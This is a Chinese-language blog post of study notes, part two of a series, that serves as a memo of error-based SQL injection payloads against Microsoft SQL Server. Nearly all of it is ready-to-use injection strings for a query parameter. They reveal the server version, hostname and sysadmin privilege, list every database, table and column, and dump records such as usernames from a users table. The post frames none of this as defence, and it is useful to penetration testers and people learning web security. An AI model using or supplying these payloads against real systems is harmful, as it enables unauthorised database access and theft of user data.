【学习笔记】Sqlserver/Mssql注入总结(二)

本文涉及的产品
云数据库 RDS SQL Server,基础系列 2核4GB
简介: 这是Sqlserver/Mssql注入总结的第二篇,将围绕报错注入进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。

这是Sqlserver/Mssql注入总结的第二篇,将围绕报错注入进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。



利用sys视图进行显错注入(类型原本是数字,输入的内容是字符,转换中失败导致报错)



爆数据库信息:





id=1' and 1=@@VERSION--          //查询sqlserver的版本id=1' and 1=@@SERVERNAME--          //查询sqlserver的主机名id=1' and 1=is_srvrolemember('sysadmin')--         //查询sqlserver注入点的权限是否为sa,可以换成public、dbowner等等判断



爆数据库名:




id=1' and 1=(select db_name(5))--  //查询数据库名,5可以遍历查询
id=1' and 1=(select top 1 name from master..sysdatabases where dbid>4)--     //查询第一个dbid(数据库id)大于4的数据库名,dbid可以遍历查询其他数据库



或者直接不加dbid:


id=1' and 1=(select top 1 name from master..sysdatabases where name<>'test')--     //查询第一个数据库,并且数据库名不等于test,也可以用!=,或者not in()




一次性爆出(sqlserver2005及以上版本适用):




id=1' and 1=(select quotename(name) from master..sysdatabases for xml path(''))--  //直接爆出所有数据库名,用【】括起来
id=1' and 1=(select ' |' %2bname%2b' |' from master..sysdatabases FOR XML PATH(''))--    //直接爆出所有数据库名,用 | 隔开



爆表名:




id=1' and 1=(select top 1 name from 数据库名..sysobjects where xtype='u')--  //爆第一个表名
id=1' and 1=(select top 1 name from 数据库名..sysobjects where xtype='u' and name<> 'test')--  //爆表名,并且表名不等于test,也可以使用!=或者not in()




一次性爆出(sqlserver2005及以上版本适用):




id=1' and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' for xml path(''))--  //爆出指定数据库的所有表,用【】括起来
id=1' and 1=(select '|' %2bname%2b '|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--    //直接爆出所有表名,用 | 隔开



爆列名:



id=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name ='table表名'))--     //爆出xx表的第一个列名id=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name ='table表名')and name<> '列名')--        //爆出xx表的列名,并且列名不等于xx,可以使用!=或者not in()




一次性爆出(sqlserver2005及以上版本适用):




id=1' and 1=(select quotename (name) from 数据库名..syscolumns where id=(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--    //直接爆出xx数据库,xx表的字段,用【】括起来
id=1' and 1=(select ' |' %2bname%2b' |' from 数据库名..syscolumns where id=(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--    //直接爆出xx数据库,xx表的字段,用 | 隔开





爆数据:




id=1' and 1=(select top 1 username from users)--            //查询users表中username列的第一行数据,
id=1' and 1=(select top 1 username from users where username<>'user1' and username<>'user2')--    //查询usernmae的值,并且不等于user1和user2,也可以使用!=或者not in()




一次性爆出指定列的所有数据(sqlserver2005及以上):




id=1' and 1=(SELECT quotename(列名一%2b'~'%2b列名二) from 数据库..表名 FOR XML PATH(''))--    //直接爆出列名1和列名2的全部内容,格式为[Dumb~Dumb]
id=1' and 1=(select '|' %2b列名一%2b'~'%2b列名二%2b '|' from 数据库..表名 FOR XML PATH(''))--    //直接爆出列名1和列名2的全部内容,格式为|Dumb~Dumb|






利用information_schema视图进行报错注入


爆数据库信息:





id=1' and 1=@@VERSION--          //查询sqlserver的版本id=1' and 1=@@SERVERNAME--          //查询sqlserver的主机名id=1' and 1=is_srvrolemember('sysadmin')--         //查询sqlserver注入点的权限是否为sa,可以换成public、dbowner等等判断


爆数据库名:


id=1' and 1=(select top 1 CATALOG_NAME from INFORMATION_SCHEMA.SCHEMATA)    //只能查到当前数据库名


其他的和sys视图报错语句基本一致




爆表名:




id=1' AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)--       //查询第一个表名
id=1' AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN('users'))--      //查询表名,并且表名不等于users,可以使用!=或者<>



一次性爆出(sqlserver2005及以上版本适用):




id=1' and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--  //爆出指定数据库的所有表
id=1' and 1=(select '|' %2btable_name%2b '|' from information_schema.tables FOR XML PATH(''))--    //直接爆出所有表名,用 | 隔开


爆列名:




id=1' AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns where table_name='users')       //查询users表的第一个列名
id=1' AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns where table_name='表名' and column_name NOT IN('id'))--         //查询列名,并且列名不等于id




一次性爆出(sqlserver2005及以上版本适用):




id=1' and 1=(select quotename (column_name) from information_schema.columns where table_name='表名' FOR XML PATH(''))--    //直接爆出xx数据库,xx表的字段,用【】括起来
id=1' and 1=(select ' |' %2bcolumn_name%2b' |' from information_schema.columns where table_name='表名' FOR XML PATH(''))--    //直接爆出xx数据库,xx表的字段,用 | 隔开



爆数据:




id=1' and 1=(select top 1 username from users)--            //查询users表中username列的第一行数据
id=1' and 1=(select top 1 username from users where username<>'user1' and username<>'user2')--    //查询usernmae的值,并且不等于user1和user2,也可以使用!=或者not in()




一次性爆出指定列的所有数据(sqlserver2005及以上):




id=1' and 1=(SELECT quotename(列名一%2b'~'%2b列名二) from 数据库名..表名 FOR XML PATH(''))--    //直接爆出列名1和列名2的全部内容,格式为[Dumb~Dumb]
id=1' and 1=(select '|' %2b列名一%2b'~'%2b列名二%2b '|' from 数据库名..表名 FOR XML PATH(''))--    //直接爆出列名1和列名2的全部内容,格式为|Dumb~Dumb|


目录
相关文章
|
SQL 存储 关系型数据库
MSSQL之一 数据库系统简介 与SQL Server 2008概述
MSSQL之一 数据库系统简介 与SQL Server 2008概述
189 0
|
SQL
MSSQL系列之十二Sql Server 2005安装
MSSQL系列之十二Sql Server 2005安装
116 0
|
SQL 存储 数据可视化
MSSQL之二 Sql Server中管理库与表
MSSQL之二 Sql Server中管理库与表
146 0
|
SQL 安全 Java
6. 成功解决:Driver class 'com.microsoft.sqlserver.jdbc.SQLServerDriver' could not be found, make sure the 'MS SQL Server (Native)' driver (jar file) is installed.
在使用 Kettle(Spoon) 工具创建 SQL Server 数据库连接时,提示:Driver class 'com.microsoft.sqlserver.jdbc.SQLServerDriver' could not be found, make sure the 'MS SQL Server (Native)' driver (jar file) is installed. com.microsoft.sqlserver.jdbc.SQLServerDriver
2103 1
|
数据库
【学习笔记】Sqlserver/Mssql注入总结(三)
这是Sqlserver/Mssql注入总结的第三篇,将围绕布尔盲注入和一些特殊字符过滤的绕过进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。
317 0
|
数据库
【学习笔记】Sqlserver/Mssql注入总结(一)
这是Sqlserver/Mssql注入总结的第一篇,将围绕union联合注入进行讲述,内容相对来说,比较中规中矩,有需要的可以考虑收藏保存,当做备忘录使用。
469 0
|
SQL
SQLServer 学习笔记之超详细基础SQL语句 Part 12(The End)
SQLServer 学习笔记之超详细基础SQL语句 Part 12(The End)
137 0
|
SQL Go
SQLServer 学习笔记之超详细基础SQL语句 Part 11
SQLServer 学习笔记之超详细基础SQL语句 Part 11
206 0
|
5月前
|
SQL 数据库 数据安全/隐私保护
数据库数据恢复——sql server数据库被加密的数据恢复案例
SQL server数据库数据故障: SQL server数据库被加密,无法使用。 数据库MDF、LDF、log日志文件名字被篡改。 数据库备份被加密,文件名字被篡改。
|
2月前
|
SQL XML Java
配置Spring框架以连接SQL Server数据库
最后,需要集成Spring配置到应用中,这通常在 `main`方法或者Spring Boot的应用配置类中通过加载XML配置或使用注解来实现。
216 0